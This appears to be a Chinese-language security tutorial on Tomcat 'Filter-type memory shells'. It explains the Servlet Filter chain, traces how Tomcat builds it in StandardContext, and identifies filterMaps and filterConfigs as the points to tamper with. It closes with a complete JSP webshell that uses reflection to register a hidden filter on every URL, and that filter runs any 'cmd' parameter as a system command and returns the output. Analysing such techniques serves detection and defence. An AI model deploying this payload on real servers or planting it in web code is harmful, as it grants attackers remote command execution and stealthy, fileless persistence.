Filter型内存马
Filter型内存马
基本介绍
一. Filter
- 基本概念Filter 是运行在 Servlet 之前或之后的组件,可拦截客户端对 Servlet 的请求(
request)和 Servlet 返回的响应(response),实现日志记录、权限校验、字符编码转换、数据过滤等功能。 - 核心原理
- 遵循 Servlet 规范,需实现
javax.servlet.Filter接口,重写init()(初始化)、doFilter()(核心过滤逻辑)、destroy()(销毁)方法。 - 通过
web.xml配置或注解(@WebFilter)指定拦截的 URL 模式(如/*拦截所有请求),容器(如 Tomcat)会根据配置将 Filter 加入请求处理链。 - 执行流程:客户端请求 → Filter 的
doFilter()(可通过chain.doFilter(request, response)放行到下一个 Filter 或 Servlet)→ Servlet 处理 → 回到 Filter 进行响应处理。
- 遵循 Servlet 规范,需实现
二. Filter 型内存马
- 基本概念Filter 型内存马是攻击者通过动态注册恶意 Filter 到 Web 容器中,实现对所有请求的拦截并执行恶意代码(如命令执行、数据窃取)的攻击方式。由于无需在磁盘生成文件,难以通过传统文件查杀检测。
- 实现原理核心是利用 Web 容器的内部 API,动态构造恶意 Filter 并将其注册到 Filter 链中,关键步骤包括:
- 获取容器上下文:通过
ServletContext或容器特定类(如 Tomcat 的StandardContext)获取 Web 应用上下文。 - 构造恶意 Filter:定义一个实现
Filter接口的类,在doFilter()中编写恶意逻辑(如执行系统命令)。 - 动态注册:调用容器的 API(如 Tomcat 的
addFilter()、addMappingForUrlPatterns())将恶意 Filter 注册,指定拦截所有 URL(/*),使其能拦截所有请求。
- 获取容器上下文:通过
- 危害一旦成功注入,攻击者可通过发送请求触发恶意 Filter,持久化控制服务器,且由于内存马存在于进程内存中,重启服务后通常会消失(除非结合其他持久化手段)。
Filter流程分析
代码演示
创建一个Filter项目 新建类
package org.example.listendemo;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class FilterDemo extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd= req.getParameter("cmd");
if(cmd==null){
super.doFilter(req,res,chain);
}else{
res.setContentType("text/html;charset=utf-8");
res.getWriter().write("您输入了: "+cmd);
}
}
}然后再web.xml中添加路径配置, 或者@WebServlet()
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.listendemo.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>然后启动服务器, 由于我在过滤器处除了过滤做一个出书外, 没有做其他处理, 所以当过滤器遇到?cmd=参数, 就会页面输出, 不会继续往下执行
执行流程分析
添加tomcat-catalina依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.58</version>
</dependency>然后在FilterDemo类中super.doFilter(req,res,chain);一行打上断点开始分析
步入查看, 当执行到如图位置, 分析
在这个函数中, 发现不管if判断成立还是不成立, 都会执行internalDoFilter()
执行运行到下面一个internalDoFilter(). 并且步入查看
internalDoFilter这个方法执行流程是:
- 首先检查是否还有过滤器需要执行(
if (pos < n)),其中pos是当前过滤器的位置,n是过滤器总数。 - 如果还有过滤器,获取下一个过滤器配置(
ApplicationFilterConfig)并递增位置指针(pos++)。internalDoFilter方法中ApplicationFilterConfig filterConfig = filters[pos++]; - 从过滤器集合
filters中按顺序取出下一个过滤器配置 - 同时将当前位置指针
pos向前移动一位,为下一次迭代做准备 查看堆栈
可以看到filters数组有两个值, 一个是我们自定义的filterDemo, 另外一个是内置的. 所以我们的目的是在filters数组中添加进内存马, 然后让其自己加载执行. 查看数组类型
发现在头部这里创建一个空数组
继续分析他的赋值发生的位置
发生在addFilter方法中, 查看addFilter方法在何处调用
在createFilterChain中调用filterChain.addFilter(filterConfig)会将ApplicationFilterConfig(包含 Filter 实例)存入ApplicationFilterChain的filters数组 这个方法执行流程是 - 初始化过滤器链
- 首先检查是否有Servlet需要执行,如果没有则返回null
- 根据请求类型创建或重用ApplicationFilterChain对象,对于非安全环境下的普通请求会尝试重用以提高性能
- 初始化过滤器链
- 设置Servlet
- 将目标Servlet和异步支持属性设置到过滤器链中
- 获取过滤器映射
- 从StandardContext中获取所有配置的过滤器映射(FilterMap)
- 匹配URL模式的过滤器
- 遍历所有过滤器映射,首先查找与请求路径匹配的过滤器
- 检查分发器类型(dispatcher type)和URL模式是否匹配
- 如果匹配,则将对应的过滤器配置添加到过滤器链中
- 匹配Servlet名称的过滤器
- 再次遍历过滤器映射,这次查找与Servlet名称匹配的过滤器
- 同样进行分发器类型和Servlet名称匹配检查
- 如果匹配,则将对应的过滤器配置添加到过滤器链中
- 返回完整过滤器链
- 最终返回包含所有适用过滤器的过滤器链对象
然后查看createFilterChain方法的调用
通过分析, 在StandardWrapperValve#invoke中调用
在这个方法中有一个filterChain
当createFilterChain生成链后,StandardWrapperValve会调用filterChain.doFilter(request, response)启动链的执行
内存马嵌入 Filter 链的关键节点
根据上述链分析,Filter 型内存马要成功嵌入并执行,需在以下节点干预:
一. 修改filterMaps和filterConfigs
createFilterChain用于创建当前请求的 Filter 链,其工作的核心是从StandardContext中获取两个关键数据结构:
filterMaps:存储所有 Filter 的映射规则(Filter 名称→拦截 URL/ Servlet 名称 / 请求类型),是匹配请求的 “规则库”;filterConfigs:存储所有 Filter 的实例及配置(Filter 名称→ApplicationFilterConfig),是获取 Filter 实例的 “仓库”。 这两个结构均由StandardContext维护,而createFilterChain的逻辑完全依赖它们:
// 从StandardContext中获取所有Filter映射规则
FilterMap[] filterMaps = context.findFilterMaps();
// 遍历规则,匹配当前请求后,从filterConfigs中获取对应的Filter实例
ApplicationFilterConfig filterConfig = context.findFilterConfig(filterMap.getFilterName());因此,StandardContext的filterMaps和filterConfigs是createFilterChain的 “数据源”,攻击者只要修改这两个数据源,就能让createFilterChain在生成链时 “被动” 纳入恶意 Filter。
二. 修改filterMaps让恶意 Filter 被匹配
filterMaps的作用是定义 “哪些请求需要经过哪些 Filter”。在createFilterChain中,会遍历filterMaps中的每一个FilterMap,检查其是否与当前请求匹配(URL 模式、请求类型等)。
以你提供的代码为例,攻击者通过standardContext.addFilterMap(filterMap)添加的恶意FilterMap会被纳入filterMaps数组。当新请求到达时:
createFilterChain遍历filterMaps,必然会遇到这个恶意FilterMap;- 若恶意
FilterMap的 URL 模式为/*(拦截所有请求),且请求类型匹配(如REQUEST),则matchFilterURL或matchFilterServlet会返回true,判定为 “匹配成功”; - 匹配成功后,
createFilterChain会根据filterMap.getFilterName()(恶意 Filter 的名称)去filterConfigs中查找对应的 Filter 实例。
三. 修改filterConfigs让恶意 Filter 被找到
filterConfigs的作用是通过 Filter 名称关联到具体的 Filter 实例。在createFilterChain中,匹配到恶意FilterMap后,需要通过context.findFilterConfig(filterName)获取 Filter 实例:
findFilterConfig的内部逻辑是从StandardContext的filterConfigs集合(本质是HashMap<String, ApplicationFilterConfig>)中,以filterName为 key 查询对应的ApplicationFilterConfig;ApplicationFilterConfig中封装了恶意 Filter 的实例(通过filterConfig.getFilter()可获取)。 攻击者通过standardContext.addFilter(filterName, maliciousFilter)时,Tomcat 内部会自动创建ApplicationFilterConfig并存入filterConfigs:
// Tomcat内部逻辑:addFilter会将Filter实例封装为ApplicationFilterConfig
public void addFilter(String filterName, Filter filter) {
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(filter);
this.filterDefs.put(filterName, filterDef); // 存入filterDefs
// 同时创建ApplicationFilterConfig并关联到filterConfigs
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, filterDef);
this.filterConfigs.put(filterName, filterConfig);
}因此,当createFilterChain调用findFilterConfig时,能直接从filterConfigs中拿到恶意 Filter 的ApplicationFilterConfig,进而获取实例。
四. 确保filters数组包含恶意 Filter
filters数组是ApplicationFilterChain的内部数组,用于存储当前请求需要执行的 Filter 实例(封装在ApplicationFilterConfig中)。其内容完全由createFilterChain动态生成,生成逻辑是:
- 遍历
StandardContext的filterMaps,筛选出所有与当前请求匹配的FilterMap; - 对每个匹配的
FilterMap,从filterConfigs中获取对应的ApplicationFilterConfig; - 将这些
ApplicationFilterConfig按顺序存入filters数组。 当攻击者已将恶意 Filter 的FilterMap加入filterMaps,且filterConfigs中存在对应的实例时:
- 新请求到达后,
createFilterChain会匹配到恶意FilterMap; - 从
filterConfigs中找到恶意 Filter 的ApplicationFilterConfig; - 最终将其加入
filters数组,导致后续internalDoFilter执行时,按顺序调用恶意 Filter 的doFilter方法。 简言之:filters数组是 “临时执行列表”,其内容由filterMaps(规则)和filterConfigs(实例)共同决定,前两者被篡改后,filters数组自然会包含恶意 Filter。
filter内存马
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*, javax.servlet.http.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%--声明一个恶意Filter--%>
<%!
public static class ShellFilter implements Filter{
@Override
public void init(FilterConfig filterConfig){}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
}else {
chain.doFilter(req,resp);
}
} @Override
public void destroy() {}
}%>
<%--从ServletContext中获取StandardContext--%>
<%
// 从request中获取servletContext
ServletContext servletContext = request.getServletContext();
// 从servletContext中获取applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 从applicationContext中获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%--动态注册恶意Filter--%>
<%
// 创建恶意Filter
ShellFilter filter = new ShellFilter();
FilterDef def = new FilterDef();
def.setFilter(filter);
def.setFilterName("filter-shell");
def.setFilterClass(filter.getClass().getName());
FilterMap map = new FilterMap();
map.addURLPattern("/*");
map.setFilterName("filter-shell");
standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();
%>